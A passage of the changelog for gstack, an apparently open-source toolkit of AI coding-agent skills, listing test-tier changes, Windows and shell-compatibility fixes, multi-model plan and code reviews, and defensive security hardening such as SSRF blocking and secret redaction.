- **New `test:gate` and `test:periodic` scripts** replace `test:e2e:fast`. Use `EVALS_TIER=gate` or `EVALS_TIER=periodic` to filter tests by tier.
- **Telemetry sync uses `GSTACK_SUPABASE_URL` instead of `GSTACK_TELEMETRY_ENDPOINT`.** Edge functions need the base URL, not the REST API path. The old variable is removed from `config.sh`.
- **Cursor advancement is now safe.** The sync script checks the edge function's `inserted` count before advancing. if zero events were inserted, the cursor holds and retries next run.

### Fixed

- **Telemetry RLS policies tightened.** Row-level security policies on all telemetry tables now deny direct access via the anon key. All reads and writes go through validated edge functions with schema checks, event type allowlists, and field length limits.
- **Community dashboard is faster and server-cached.** Dashboard stats are now served from a single edge function with 1-hour server-side caching, replacing multiple direct queries.

### For contributors

- `E2E_TIERS` map in `test/helpers/touchfiles.ts` classifies every test. a free validation test ensures it stays in sync with `E2E_TOUCHFILES`
- `EVALS_FAST` / `FAST_EXCLUDED_TESTS` removed in favor of `EVALS_TIER`
- `allow_failure` removed from CI matrix (gate tests should be reliable)
- New `.github/workflows/evals-periodic.yml` runs periodic tests Monday 6 AM UTC
- New migration: `supabase/migrations/002_tighten_rls.sql`
- New smoke test: `supabase/verify-rls.sh` (9 checks: 5 reads + 4 writes)
- Extended `test/telemetry.test.ts` with field name verification
- Untracked `browse/dist/` binaries from git (arm64-only, rebuilt by `./setup`)

## [0.11.15.0] - 2026-03-24. E2E Test Coverage for Plan Reviews & Codex

### Added

- **E2E tests verify plan review reports appear at the bottom of plans.** The `/plan-eng-review` review report is now tested end-to-end. if it stops writing `## GSTACK REVIEW REPORT` to the plan file, the test catches it.
- **E2E tests verify Codex is offered in every plan skill.** Four new lightweight tests confirm that `/office-hours`, `/plan-ceo-review`, `/plan-design-review`, and `/plan-eng-review` all check for Codex availability, prompt the user, and handle the fallback when Codex is unavailable.

### For contributors

- New E2E tests in `test/skill-e2e-plan.test.ts`: `plan-review-report`, `codex-offered-eng-review`, `codex-offered-ceo-review`, `codex-offered-office-hours`, `codex-offered-design-review`
- Updated touchfile mappings and selection count assertions
- Added `touchfiles` to the documented global touchfile list in CLAUDE.md

## [0.11.14.0] - 2026-03-24. Windows Browse Fix

### Fixed

- **Browse engine now works on Windows.** Three compounding bugs blocked all Windows `/browse` users: the server process died when the CLI exited (Bun's `unref()` doesn't truly detach on Windows), the health check never ran because `process.kill(pid, 0)` is broken in Bun binaries on Windows, and Chromium's sandbox failed when spawned through the Bun→Node process chain. All three are now fixed. Credits to @fqueiro (PR #191) for identifying the `detached: true` approach.
- **Health check runs first on all platforms.** `ensureServer()` now tries an HTTP health check before falling back to PID-based detection. more reliable on every OS, not just Windows.
- **Startup errors are logged to disk.** When the server fails to start, errors are written to `~/.gstack/browse-startup-error.log` so Windows users (who lose stderr due to process detachment) can debug.
- **Chromium sandbox disabled on Windows.** Chromium's sandbox requires elevated privileges when spawned through the Bun→Node chain. now disabled on Windows only.

### For contributors

- New tests for `isServerHealthy()` and startup error logging in `browse/test/config.test.ts`

## [0.11.13.0] - 2026-03-24. Worktree Isolation + Infrastructure Elegance

### Added

- **E2E tests now run in git worktrees.** Gemini and Codex tests no longer pollute your working tree. Each test suite gets an isolated worktree, and useful changes the AI agent makes are automatically harvested as patches you can cherry-pick. Run `git apply ~/.gstack-dev/harvests/<id>/gemini.patch` to grab improvements.
- **Harvest deduplication.** If a test keeps producing the same improvement across runs, it's detected via SHA-256 hash and skipped. no duplicate patches piling up.
- **`describeWithWorktree()` helper.** Any E2E test can now opt into worktree isolation with a one-line wrapper. Future tests that need real repo context (git history, real diff) can use this instead of tmpdirs.

### Changed

- **Gen-skill-docs is now a modular resolver pipeline.** The monolithic 1700-line generator is split into 8 focused resolver modules (browse, preamble, design, review, testing, utility, constants, codex-helpers). Adding a new placeholder resolver is now a single file instead of editing a megafunction.
- **Eval results are project-scoped.** Results now live in `~/.gstack/projects/$SLUG/evals/` instead of the global `~/.gstack-dev/evals/`. Multi-project users no longer get eval results mixed together.

### For contributors

- WorktreeManager (`lib/worktree.ts`) is a reusable platform module. future skills like `/batch` can import it directly.
- 12 new unit tests for WorktreeManager covering lifecycle, harvest, dedup, and error handling.
- `GLOBAL_TOUCHFILES` updated so worktree infrastructure changes trigger all E2E tests.

## [0.11.12.0] - 2026-03-24. Triple-Voice Autoplan

Every `/autoplan` phase now gets two independent second opinions. one from Codex (OpenAI's frontier model) and one from a fresh Claude subagent. Three AI reviewers looking at your plan from different angles, each phase building on the last.

### Added

- **Dual voices in every autoplan phase.** CEO review, Design review, and Eng review each run both a Codex challenge and an independent Claude subagent simultaneously. You get a consensus table showing where the models agree and disagree. disagreements surface as taste decisions at the final gate.
- **Phase-cascading context.** Codex gets prior-phase findings as context (CEO concerns inform Design review, CEO+Design inform Eng). Claude subagent stays truly independent for genuine cross-model validation.
- **Structured consensus tables.** CEO phase scores 6 strategic dimensions, Design uses the litmus scorecard, Eng scores 6 architecture dimensions. CONFIRMED/DISAGREE for each.
- **Cross-phase synthesis.** Phase 4 gate highlights themes that appeared independently in multiple phases. high-confidence signals when different reviewers catch the same issue.
- **Sequential enforcement.** STOP markers between phases + pre-phase checklists prevent autoplan from accidentally parallelizing CEO/Design/Eng (each phase depends on the previous).
- **Phase-transition summaries.** Brief status at each phase boundary so you can track progress without waiting for the full pipeline.
- **Degradation matrix.** When Codex or the Claude subagent fails, autoplan gracefully degrades with clear labels (`[codex-only]`, `[subagent-only]`, `[single-reviewer mode]`).

## [0.11.11.0] - 2026-03-23. Community Wave 3

10 community PRs merged. bug fixes, platform support, and workflow improvements.

### Added

- **Chrome multi-profile cookie import.** You can now import cookies from any Chrome profile, not just Default. Profile picker shows account email for easy identification. Batch import across all visible domains.
- **Linux Chromium cookie import.** Cookie import now works on Linux for Chrome, Chromium, Brave, and Edge. Supports both GNOME Keyring (libsecret) and the "peanuts" fallback for headless environments.
- **Chrome extensions in browse sessions.** Set `BROWSE_EXTENSIONS_DIR` to load Chrome extensions (ad blockers, accessibility tools, custom headers) into your browse testing sessions.
- **Project-scoped gstack install.** `setup --local` installs gstack into `.claude/skills/` in your current project instead of globally. Useful for per-project version pinning.
- **Distribution pipeline checks.** `/office-hours`, `/plan-eng-review`, `/ship`, and `/review` now check whether new CLI tools or libraries have a build/publish pipeline. No more shipping artifacts nobody can download.
- **Dynamic skill discovery.** Adding a new skill directory no longer requires editing a hardcoded list. `skill-check` and `gen-skill-docs` automatically discover skills from the filesystem.
- **Auto-trigger guard.** Skills now include explicit trigger criteria in their descriptions to prevent Claude Code from auto-firing them based on semantic similarity. The existing proactive suggestion system is preserved.

### Fixed

- **Browse server startup crash.** The browse server lock acquisition failed when `.gstack/` directory didn't exist, causing every invocation to think another process held the lock. Fixed by creating the state directory before lock acquisition.
- **Zsh glob errors in skill preamble.** The telemetry cleanup loop no longer throws `no matches found` in zsh when no pending files exist.
- **`--force` now actually forces upgrades.** `gstack-upgrade --force` clears the snooze file, so you can upgrade immediately after snoozing.
- **Three-dot diff in /review scope drift detection.** Scope drift analysis now correctly shows changes since branch creation, not accumulated changes on the base branch.
- **CI workflow YAML parsing.** Fixed unquoted multiline `run:` scalars that broke YAML parsing. Added actionlint CI workflow.

### Community

Thanks to @osc, @Explorer1092, @Qike-Li, @francoisaubert1, @itstimwhite, @yinanli1917-cloud for contributions in this wave.

## [0.11.10.0] - 2026-03-23. CI Evals on Ubicloud

### Added

- **E2E evals now run in CI on every PR.** 12 parallel GitHub Actions runners on Ubicloud spin up per PR, each running one test suite. Docker image pre-bakes bun, node, Claude CLI, and deps so setup is near-instant. Results posted as a PR comment with pass/fail + cost breakdown.
- **3x faster eval runs.** All E2E tests run concurrently within files via `testConcurrentIfSelected`. Wall clock drops from ~18min to ~6min. limited by the slowest individual test, not sequential sum.
- **Docker CI image** (`Dockerfile.ci`) with pre-installed toolchain. Rebuilds automatically when Dockerfile or package.json changes, cached by content hash in GHCR.

### Fixed

- **Routing tests now work in CI.** Skills are installed at top-level `.claude/skills/` instead of nested under `.claude/skills/gstack/`. project-level skill discovery doesn't recurse into subdirectories.

### For contributors

- `EVALS_CONCURRENCY=40` in CI for maximum parallelism (local default stays at 15)
- Ubicloud runners at ~$0.006/run (10x cheaper than GitHub standard runners)
- `workflow_dispatch` trigger for manual re-runs

## [0.11.9.0] - 2026-03-23. Codex Skill Loading Fix

### Fixed

- **Codex no longer rejects gstack skills with "invalid SKILL.md".** Existing installs had oversized description fields (>1024 chars) that Codex silently rejected. The build now errors if any Codex description exceeds 1024 chars, setup always regenerates `.agents/` to prevent stale files, and a one-time migration auto-cleans oversized descriptions on existing installs.
- **`package.json` version now stays in sync with `VERSION`.** Was 6 minor versions behind. A new CI test catches future drift.

### Added

- **Codex E2E tests now assert no skill loading errors.** The exact "Skipped loading skill(s)" error that prompted this fix is now a regression test. `stderr` is captured and checked.
- **Codex troubleshooting entry in README.** Manual fix instructions for users who hit the loading error before the auto-migration runs.

### For contributors

- `test/gen-skill-docs.test.ts` validates all `.agents/` descriptions stay within 1024 chars
- `gstack-update-check` includes a one-time migration that deletes oversized Codex SKILL.md files
- P1 TODO added: Codex→Claude reverse buddy check skill

## [0.11.8.0] - 2026-03-23. zsh Compatibility Fix

### Fixed

- **gstack skills now work in zsh without errors.** Every skill preamble used a `.pending-*` glob pattern that triggered zsh's "no matches found" error on every invocation (the common case where no pending telemetry files exist). Replaced shell glob with `find` to avoid zsh's NOMATCH behavior entirely. Thanks to @hnshah for the initial report and fix in PR #332. Fixes #313.

### Added

- **Regression test for zsh glob safety.** New test verifies all generated SKILL.md files use `find` instead of bare shell globs for `.pending-*` pattern matching.

## [0.11.7.0] - 2026-03-23. /review → /ship Handoff Fix

### Fixed

- **`/review` now satisfies the ship readiness gate.** Previously, running `/review` before `/ship` always showed "NOT CLEARED" because `/review` didn't log its result and `/ship` only looked for `/plan-eng-review`. Now `/review` persists its outcome to the review log, and all dashboards recognize both `/review` (diff-scoped) and `/plan-eng-review` (plan-stage) as valid Eng Review sources.
- **Ship abort prompt now mentions both review options.** When Eng Review is missing, `/ship` suggests "run `/review` or `/plan-eng-review`" instead of only mentioning `/plan-eng-review`.

### For contributors

- Based on PR #338 by @malikrohail. DRY improvement per eng review: updated the shared `REVIEW_DASHBOARD` resolver instead of creating a duplicate ship-only resolver.
- 4 new validation tests covering review-log persistence, dashboard propagation, and abort text.

## [0.11.6.0] - 2026-03-23. Infrastructure-First Security Audit

### Added

- **`/cso` v2. start where the breaches actually happen.** The security audit now begins with your infrastructure attack surface (leaked secrets in git history, dependency CVEs, CI/CD pipeline misconfigurations, unverified webhooks, Dockerfile security) before touching application code. 15 phases covering secrets archaeology, supply chain, CI/CD, LLM/AI security, skill supply chain, OWASP Top 10, STRIDE, and active verification.
- **Two audit modes.** `--daily` runs a zero-noise scan with an 8/10 confidence gate (only reports findings it's highly confident about). `--comprehensive` does a deep monthly scan with a 2/10 bar (surfaces everything worth investigating).
- **Active verification.** Every finding gets independently verified by a subagent before reporting. no more grep-and-guess. Variant analysis: when one vulnerability is confirmed, the entire codebase is searched for the same pattern.
- **Trend tracking.** Findings are fingerprinted and tracked across audit runs. You can see what's new, what's fixed, and what's been ignored.
- **Diff-scoped auditing.** `--diff` mode scopes the audit to changes on your branch vs the base branch. perfect for pre-merge security checks.
- **3 E2E tests** with planted vulnerabilities (hardcoded API keys, tracked `.env` files, unsigned webhooks, unpinned GitHub Actions, rootless Dockerfiles). All verified passing.

### Changed

- **Stack detection before scanning.** v1 ran Ruby/Java/PHP/C# patterns on every project without checking the stack. v2 detects your framework first and prioritizes relevant checks.
- **Proper tool usage.** v1 used raw `grep` in Bash; v2 uses Claude Code's native `Grep` tool for reliable results without truncation.

## [0.11.5.2] - 2026-03-22. Outside Voice

### Added

- **Plan reviews now offer an independent second opinion.** After all review sections complete in `/plan-ceo-review` or `/plan-eng-review`, you can get a "brutally honest outside voice" from a different AI model (Codex CLI, or a fresh Claude subagent if Codex isn't installed). It reads your plan, finds what the review missed. logical gaps, unstated assumptions, feasibility risks. and presents findings verbatim. Optional, recommended, never blocks shipping.
- **Cross-model tension detection.** When the outside voice disagrees with the review findings, the disagreements are surfaced automatically and offered as TODOs so nothing gets lost.
- **Outside Voice in the Review Readiness Dashboard.** `/ship` now shows whether an outside voice ran on the plan, alongside the existing CEO/Eng/Design/Adversarial review rows.

### Changed

- **`/plan-eng-review` Codex integration upgraded.** The old hardcoded Step 0.5 is replaced with a richer resolver that adds Claude subagent fallback, review log persistence, dashboard visibility, and higher reasoning effort (`xhigh`).

## [0.11.5.1] - 2026-03-23. Inline Office Hours

### Changed

- **No more "open another window" for /office-hours.** When `/plan-ceo-review` or `/plan-eng-review` offer to run `/office-hours` first, it now runs inline in the same conversation. The review picks up right where it left off after the design doc is ready. Same for mid-session detection when you're still figuring out what to build.
- **Handoff note infrastructure removed.** The handoff notes that bridged the old "go to another window" flow are no longer written. Existing notes from prior sessions are still read for backward compatibility.

## [0.11.5.0] - 2026-03-23. Bash Compatibility Fix

### Fixed

- **`gstack-review-read` and `gstack-review-log` no longer crash under bash.** These scripts used `source <(gstack-slug)` which silently fails to set variables under bash with `set -euo pipefail`, causing `SLUG: unbound variable` errors. Replaced with `eval "$(gstack-slug)"` which works correctly in both bash and zsh.
- **All SKILL.md templates updated.** Every template that instructed agents to run `source <(gstack-slug)` now uses `eval "$(gstack-slug)"` for cross-shell compatibility. Regenerated all SKILL.md files from templates.
- **Regression tests added.** New tests verify `eval "$(gstack-slug)"` works under bash strict mode, and guard against `source <(.*gstack-slug` patterns reappearing in templates or bin scripts.

## [0.11.4.0] - 2026-03-22. Codex in Office Hours

### Added

- **Your brainstorming now gets a second opinion.** After premise challenge in `/office-hours`, you can opt in to a Codex cold read. a completely independent AI that hasn't seen the conversation reviews your problem, answers, and premises. It steelmans your idea, identifies the most revealing thing you said, challenges one premise, and proposes a 48-hour prototype. Two different AI models seeing different things catches blind spots neither would find alone.
- **Cross-Model Perspective in design docs.** When you use the second opinion, the design doc automatically includes a `## Cross-Model Perspective` section capturing what Codex said. so the independent view is preserved for downstream reviews.
- **New founder signal: defended premise with reasoning.** When Codex challenges one of your premises and you keep it with articulated reasoning (not just dismissal), that's tracked as a positive signal of conviction.

## [0.11.3.0] - 2026-03-23. Design Outside Voices

### Added

- **Every design review now gets a second opinion.** `/plan-design-review`, `/design-review`, and `/design-consultation` dispatch both Codex (OpenAI) and a fresh Claude subagent in parallel to independently evaluate your design. then synthesize findings with a litmus scorecard showing where they agree and disagree. Cross-model agreement = high confidence; disagreement = investigate.
- **OpenAI's design hard rules baked in.** 7 hard rejection criteria, 7 litmus checks, and a landing-page vs app-UI classifier from OpenAI's "Designing Delightful Frontends" framework. merged with gstack's existing 10-item AI slop blacklist. Your design gets evaluated against the same rules OpenAI recommends for their own models.
- **Codex design voice in every PR.** The lightweight design review that runs in `/ship` and `/review` now includes a Codex design check when frontend files change. automatic, no opt-in needed.
- **Outside voices in /office-hours brainstorming.** After wireframe sketches, you can now get Codex + Claude subagent design perspectives on your approaches before committing to a direction.
- **AI slop blacklist extracted as shared constant.** The 10 anti-patterns (purple gradients, 3-column icon grids, centered everything, etc.) are now defined once and shared across all design skills. Easier to maintain, impossible to drift.

## [0.11.2.0] - 2026-03-22. Codex Just Works

### Fixed

- **Codex no longer shows "exceeds maximum length of 1024 characters" on startup.** Skill descriptions compressed from ~1,200 words to ~280 words. well under the limit. Every skill now has a test enforcing the cap.
- **No more duplicate skill discovery.** Codex used to find both source SKILL.md files and generated Codex skills, showing every skill twice. Setup now creates a minimal runtime root at `~/.codex/skills/gstack` with only the assets Codex needs. no source files exposed.
- **Old direct installs auto-migrate.** If you previously cloned gstack into `~/.codex/skills/gstack`, setup detects this and moves it to `~/.gstack/repos/gstack` so skills aren't discovered from the source checkout.
- **Sidecar directory no longer linked as a skill.** The `.agents/skills/gstack` runtime asset directory was incorrectly symlinked alongside real skills. now skipped.

### Added

- **Repo-local Codex installs.** Clone gstack into `.agents/skills/gstack` inside any repo and run `./setup --host codex`. skills install next to the checkout, no global `~/.codex/` needed. Generated preambles auto-detect whether to use repo-local or global paths at runtime.
- **Kiro CLI support.** `./setup --host kiro` installs skills for the Kiro agent platform, rewriting paths and symlinking runtime assets. Auto-detected by `--host auto` if `kiro-cli` is installed.
- **`.agents/` is now gitignored.** Generated Codex skill files are no longer committed. they're created at setup time from templates. Removes 14,000+ lines of generated output from the repo.

### Changed

- **`GSTACK_DIR` renamed to `SOURCE_GSTACK_DIR` / `INSTALL_GSTACK_DIR`** throughout the setup script for clarity about which path points to the source repo vs the install location.
- **CI validates Codex generation succeeds** instead of checking committed file freshness (since `.agents/` is no longer committed).

## [0.11.1.1] - 2026-03-22. Plan Files Always Show Review Status

### Added

- **Every plan file now shows review status.** When you exit plan mode, the plan file automatically gets a `GSTACK REVIEW REPORT` section. even if you haven't run any formal reviews yet. Previously, this section only appeared after running `/plan-eng-review`, `/plan-ceo-review`, `/plan-design-review`, or `/codex review`. Now you always know where you stand: which reviews have run, which haven't, and what to do next.

## [0.11.1.0] - 2026-03-22. Global Retro: Cross-Project AI Coding Retrospective

### Added

- **`/retro global`. see everything you shipped across every project in one report.** Scans your Claude Code, Codex CLI, and Gemini CLI sessions, traces each back to its git repo, deduplicates by remote, then runs a full retro across all of them. Global shipping streak, context-switching metrics, per-project breakdowns with personal contributions, and cross-tool usage patterns. Run `/retro global 14d` for a two-week view.
- **Per-project personal contributions in global retro.** Each project in the global retro now shows YOUR commits, LOC, key work, commit type mix, and biggest ship. separate from team totals. Solo projects say "Solo project. all commits are yours." Team projects you didn't touch show session count only.
- **`gstack-global-discover`. the engine behind global retro.** Standalone discovery script that finds all AI coding sessions on your machine, resolves working directories to git repos, normalizes SSH/HTTPS remotes for dedup, and outputs structured JSON. Compiled binary ships with gstack. no `bun` runtime needed.

### Fixed

- **Discovery script reads only the first few KB of session files** instead of loading entire multi-MB JSONL transcripts into memory. Prevents OOM on machines with extensive coding history.
- **Claude Code session counts are now accurate.** Previously counted all JSONL files in a project directory; now only counts files modified within the time window.
- **Week windows (`1w`, `2w`) are now midnight-aligned** like day windows, so `/retro global 1w` and `/retro global 7d` produce consistent results.

## [0.11.0.0] - 2026-03-22. /cso: Zero-Noise Security Audits

### Added

- **`/cso`. your Chief Security Officer.** Full codebase security audit: OWASP Top 10, STRIDE threat modeling, attack surface mapping, data classification, and dependency scanning. Each finding includes severity, confidence score, a concrete exploit scenario, and remediation options. Not a linter. a threat model.
- **Zero-noise false positive filtering.** 17 hard exclusions and 9 precedents adapted from Anthropic's security review methodology. DOS isn't a finding. Test files aren't attack surface. React is XSS-safe by default. Every finding must score 8/10+ confidence to make the report. The result: 3 real findings, not 3 real + 12 theoretical.
- **Independent finding verification.** Each candidate finding is verified by a fresh sub-agent that only sees the finding and the false positive rules. no anchoring bias from the initial scan. Findings that fail independent verification are silently dropped.
- **`browse storage` now redacts secrets automatically.** Tokens, JWTs, API keys, GitHub PATs, and Bearer tokens are detected by both key name and value prefix. You see `[REDACTED. 42 chars]` instead of the secret.
- **Azure metadata endpoint blocked.** SSRF protection for `browse goto` now covers all three major cloud providers (AWS, GCP, Azure).

### Fixed

- **`gstack-slug` hardened against shell injection.** Output sanitized to alphanumeric, dot, dash, and underscore only. All remaining `eval $(gstack-slug)` callers migrated to `source <(...)`.
- **DNS rebinding protection.** `browse goto` now resolves hostnames to IPs and checks against the metadata blocklist. prevents attacks where a domain initially resolves to a safe IP, then switches to a cloud metadata endpoint.
- **Concurrent server start race fixed.** An exclusive lockfile prevents two CLI invocations from both killing the old server and starting new ones simultaneously, which could leave orphaned Chromium processes.
- **Smarter storage redaction.** Key matching now uses underscore-aware boundaries (won't false-positive on `keyboardShortcuts` or `monkeyPatch`). Value detection expanded to cover AWS, Stripe, Anthropic, Google, Sendgrid, and Supabase key prefixes.
- **CI workflow YAML lint error fixed.**

### For contributors

- **Community PR triage process documented** in CONTRIBUTING.md.
- **Storage redaction test coverage.** Four new tests for key-based and value-based detection.

## [0.10.2.0] - 2026-03-22. Autoplan Depth Fix

### Fixed

- **`/autoplan` now produces full-depth reviews instead of compressing everything to one-liners.** When autoplan said "auto-decide," it meant "decide FOR the user using principles". but the agent interpreted it as "skip the analysis entirely." Now autoplan explicitly defines the contract: auto-decide replaces your judgment, not the analysis. Every review section still gets read, diagrammed, and evaluated. You get the same depth as running each review manually.
- **Execution checklists for CEO and Eng phases.** Each phase now enumerates exactly what must be produced. premise challenges, architecture diagrams, test coverage maps, failure registries, artifacts on disk. No more "follow that file at full depth" without saying what "full depth" means.
- **Pre-gate verification catches skipped outputs.** Before presenting the final approval gate, autoplan now checks a concrete checklist of required outputs. Missing items get produced before the gate opens (max 2 retries, then warns).
- **Test review can never be skipped.** The Eng review's test diagram section. the highest-value output. is explicitly marked NEVER SKIP OR COMPRESS with instructions to read actual diffs, map every codepath to coverage, and write the test plan artifact.

## [0.10.1.0] - 2026-03-22. Test Coverage Catalog

### Added

- **Test coverage audit now works everywhere. plan, ship, and review.** The codepath tracing methodology (ASCII diagrams, quality scoring, gap detection) is shared across `/plan-eng-review`, `/ship`, and `/review` via a single `{{TEST_COVERAGE_AUDIT}}` resolver. Plan mode adds missing tests to your plan before you write code. Ship mode auto-generates tests for gaps. Review mode finds untested paths during pre-landing review. One methodology, three contexts, zero copy-paste.
- **`/review` Step 4.75. test coverage diagram.** Before landing code, `/review` now traces every changed codepath and produces an ASCII coverage map showing what's tested (★★★/★★/★) and what's not (GAP). Gaps become INFORMATIONAL findings that follow the Fix-First flow. you can generate the missing tests right there.
- **E2E test recommendations built in.** The coverage audit knows when to recommend E2E tests (common user flows, tricky integrations where unit tests can't cover it) vs unit tests, and flags LLM prompt changes that need eval coverage. No more guessing whether something needs an integration test.
- **Regression detection iron rule.** When a code change modifies existing behavior, gstack always writes a regression test. no asking, no skipping. If you changed it, you test it.
- **`/ship` failure triage.** When tests fail during ship, the coverage audit classifies each failure and recommends next steps instead of just dumping the error output.
- **Test framework auto-detection.** Reads your CLAUDE.md for test commands first, then auto-detects from project files (package.json, Gemfile, pyproject.toml, etc.). Works with any framework.

### Fixed

- **gstack no longer crashes in repos without an `origin` remote.** The `gstack-repo-mode` helper now gracefully handles missing remotes, bare repos, and empty git output. defaulting to `unknown` mode instead of crashing the preamble.
- **`REPO_MODE` defaults correctly when the helper emits nothing.** Previously an empty response from `gstack-repo-mode` left `REPO_MODE` unset, causing downstream template errors.

## [0.10.0.0] - 2026-03-22. Autoplan

### Added

- **`/autoplan`. one command, fully reviewed plan.** Hand it a rough plan and it runs the full CEO → design → eng review pipeline automatically. Reads the actual review skill files from disk (same depth, same rigor as running each review manually) and makes intermediate decisions using 6 encoded principles: completeness, boil lakes, pragmatic, DRY, explicit over clever, bias toward action. Taste decisions (close approaches, borderline scope, codex disagreements) surface at a final approval gate. You approve, override, interrogate, or revise. Saves a restore point so you can re-run from scratch. Writes review logs compatible with `/ship`'s dashboard.

## [0.9.8.0] - 2026-03-21. Deploy Pipeline + E2E Performance

### Added

- **`/land-and-deploy`. merge, deploy, and verify in one command.** Takes over where `/ship` left off. Merges the PR, waits for CI and deploy workflows, then runs canary verification on your production URL. Auto-detects your deploy platform (Fly.io, Render, Vercel, Netlify, Heroku, GitHub Actions). Offers revert at every failure point. One command from "PR approved" to "verified in production."
- **`/canary`. post-deploy monitoring loop.** Watches your live app for console errors, performance regressions, and page failures using the browse daemon. Takes periodic screenshots, compares against pre-deploy baselines, and alerts on anomalies. Run `/canary https://myapp.com --duration 10m` after any deploy.
- **`/benchmark`. performance regression detection.** Establishes baselines for page load times, Core Web Vitals, and resource sizes. Compares before/after on every PR. Tracks performance trends over time. Catches the bundle size regressions that code review misses.
- **`/setup-deploy`. one-time deploy configuration.** Detects your deploy platform, production URL, health check endpoints, and deploy status commands. Writes the config to CLAUDE.md so all future `/land-and-deploy` runs are fully automatic.
- **`/review` now includes Performance & Bundle Impact analysis.** The informational review pass checks for heavy dependencies, missing lazy loading, synchronous script tags, and bundle size regressions. Catches moment.js-instead-of-date-fns before it ships.

### Changed

- **E2E tests now run 3-5x faster.** Structure tests default to Sonnet (5x faster, 5x cheaper). Quality tests (planted-bug detection, design quality, strategic review) stay on Opus. Full suite dropped from 50-80 minutes to ~15-25 minutes.
- **`--retry 2` on all E2E tests.** Flaky tests get a second chance without masking real failures.
- **`test:e2e:fast` tier.** Excludes the 8 slowest Opus quality tests for quick feedback (~5-7 minutes). Run `bun run test:e2e:fast` for rapid iteration.
- **E2E timing telemetry.** Every test now records `first_response_ms`, `max_inter_turn_ms`, and `model` used. Wall-clock timing shows whether parallelism is actually working.

### Fixed

- **`plan-design-review-plan-mode` no longer races.** Each test gets its own isolated tmpdir. no more concurrent tests polluting each other's working directory.
- **`ship-local-workflow` no longer wastes 6 of 15 turns.** Ship workflow steps are inlined in the test prompt instead of having the agent read the 700+ line SKILL.md at runtime.
- **`design-consultation-core` no longer fails on synonym sections.** "Colors" matches "Color", "Type System" matches "Typography". fuzzy synonym-based matching with all 7 sections still required.

## [0.9.7.0] - 2026-03-21. Plan File Review Report

### Added

- **Every plan file now shows which reviews have run.** After any review skill finishes (`/plan-ceo-review`, `/plan-eng-review`, `/plan-design-review`, `/codex review`), a markdown table is appended to the plan file itself. showing each review's trigger command, purpose, run count, status, and findings summary. Anyone reading the plan can see review status at a glance without checking conversation history.
- **Review logs now capture richer data.** CEO reviews log scope proposal counts (proposed/accepted/deferred), eng reviews log total issues found, design reviews log before→after scores, and codex reviews log how many findings were fixed. The plan file report uses these fields directly. no more guessing from partial metadata.

## [0.9.6.0] - 2026-03-21. Auto-Scaled Adversarial Review

### Changed

- **Review thoroughness now scales automatically with diff size.** Small diffs (<50 lines) skip adversarial review entirely. no wasted time on typo fixes. Medium diffs (50–199 lines) get a cross-model adversarial challenge from Codex (or a Claude adversarial subagent if Codex isn't installed). Large diffs (200+ lines) get all four passes: Claude structured, Codex structured review with pass/fail gate, Claude adversarial subagent, and Codex adversarial challenge. No configuration needed. it just works.
- **Claude now has an adversarial mode.** A fresh Claude subagent with no checklist bias reviews your code like an attacker. finding edge cases, race conditions, security holes, and silent data corruption that the structured review might miss. Findings are classified as FIXABLE (auto-fixed) or INVESTIGATE (your call).
- **Review dashboard shows "Adversarial" instead of "Codex Review."** The dashboard row reflects the new multi-model reality. it tracks whichever adversarial passes actually ran, not just Codex.

## [0.9.5.0] - 2026-03-21. Builder Ethos

### Added

- **ETHOS.md. gstack's builder philosophy in one document.** Four principles: The Golden Age (AI compression ratios), Boil the Lake (completeness is cheap), Search Before Building (three layers of knowledge), and Build for Yourself. This is the philosophical source of truth that every workflow skill references.
- **Every workflow skill now searches before recommending.** Before suggesting infrastructure patterns, concurrency approaches, or framework-specific solutions, gstack checks if the runtime has a built-in and whether the pattern is current best practice. Three layers of knowledge. tried-and-true (Layer 1), new-and-popular (Layer 2), and first-principles (Layer 3). with the most valuable insights prized above all.
- **Eureka moments.** When first-principles reasoning reveals that conventional wisdom is wrong, gstack names it, celebrates it, and logs it. Your weekly `/retro` now surfaces these insights so you can see where your projects zigged while others zagged.
- **`/office-hours` adds Landscape Awareness phase.** After understanding your problem through questioning but before challenging premises, gstack searches for what the world thinks. then runs a three-layer synthesis to find where conventional wisdom might be wrong for your specific case.
- **`/plan-eng-review` adds search check.** Step 0 now verifies architectural patterns against current best practices and flags custom solutions where built-ins exist.
- **`/investigate` searches on hypothesis failure.** When your first debugging hypothesis is wrong, gstack searches for the exact error message and known framework issues before guessing again.
- **`/design-consultation` three-layer synthesis.** Competitive research now uses the structured Layer 1/2/3 framework to find where your product should deliberately break from category norms.
- **CEO review saves context when handing off to `/office-hours`.** When `/plan-ceo-review` suggests running `/office-hours` first, it now saves a handoff note with your system audit findings and any discussion so far. When you come back and re-invoke `/plan-ceo-review`, it picks up that context automatically. no more starting from scratch.

## [0.9.4.1] - 2026-03-20

### Changed

- **`/retro` no longer nags about PR size.** The retro still reports PR size distribution (Small/Medium/Large/XL) as neutral data, but no longer flags XL PRs as problems or recommends splitting them. AI reviews don't fatigue. the unit of work is the feature, not the diff.

## [0.9.4.0] - 2026-03-20. Codex Reviews On By Default

### Changed

- **Codex code reviews now run automatically in `/ship` and `/review`.** No more "want a second opinion?" prompt every time. Codex reviews both your code (with a pass/fail gate) and runs an adversarial challenge by default. First-time users get a one-time opt-in prompt; after that, it's hands-free. Configure with `gstack-config set codex_reviews enabled|disabled`.
- **All Codex operations use maximum reasoning power.** Review, adversarial, and consult modes all use `xhigh` reasoning effort. when an AI is reviewing your code, you want it thinking as hard as possible.
- **Codex review errors can't corrupt the dashboard.** Auth failures, timeouts, and empty responses are now detected before logging results, so the Review Readiness Dashboard never shows a false "passed" entry. Adversarial stderr is captured separately.
- **Codex review log includes commit hash.** Staleness detection now works correctly for Codex reviews, matching the same commit-tracking behavior as eng/CEO/design reviews.

### Fixed

- **Codex-for-Codex recursion prevented.** When gstack runs inside Codex CLI (`.agents/skills/`), the Codex review step is completely stripped. no accidental infinite loops.

## [0.9.3.0] - 2026-03-20. Windows Support

### Fixed

- **gstack now works on Windows 11.** Setup no longer hangs when verifying Playwright, and the browse server automatically falls back to Node.js to work around a Bun pipe-handling bug on Windows ([bun#4253](https://github.com/oven-sh/bun/issues/4253)). Just make sure Node.js is installed alongside Bun. macOS and Linux are completely unaffected.
- **Path handling works on Windows.** All hardcoded `/tmp` paths and Unix-style path separators now use platform-aware equivalents via a new `platform.ts` module. Path traversal protection works correctly with Windows backslash separators.

### Added

- **Bun API polyfill for Node.js.** When the browse server runs under Node.js on Windows, a compatibility layer provides `Bun.serve()`, `Bun.spawn()`, `Bun.spawnSync()`, and `Bun.sleep()` equivalents. Fully tested.
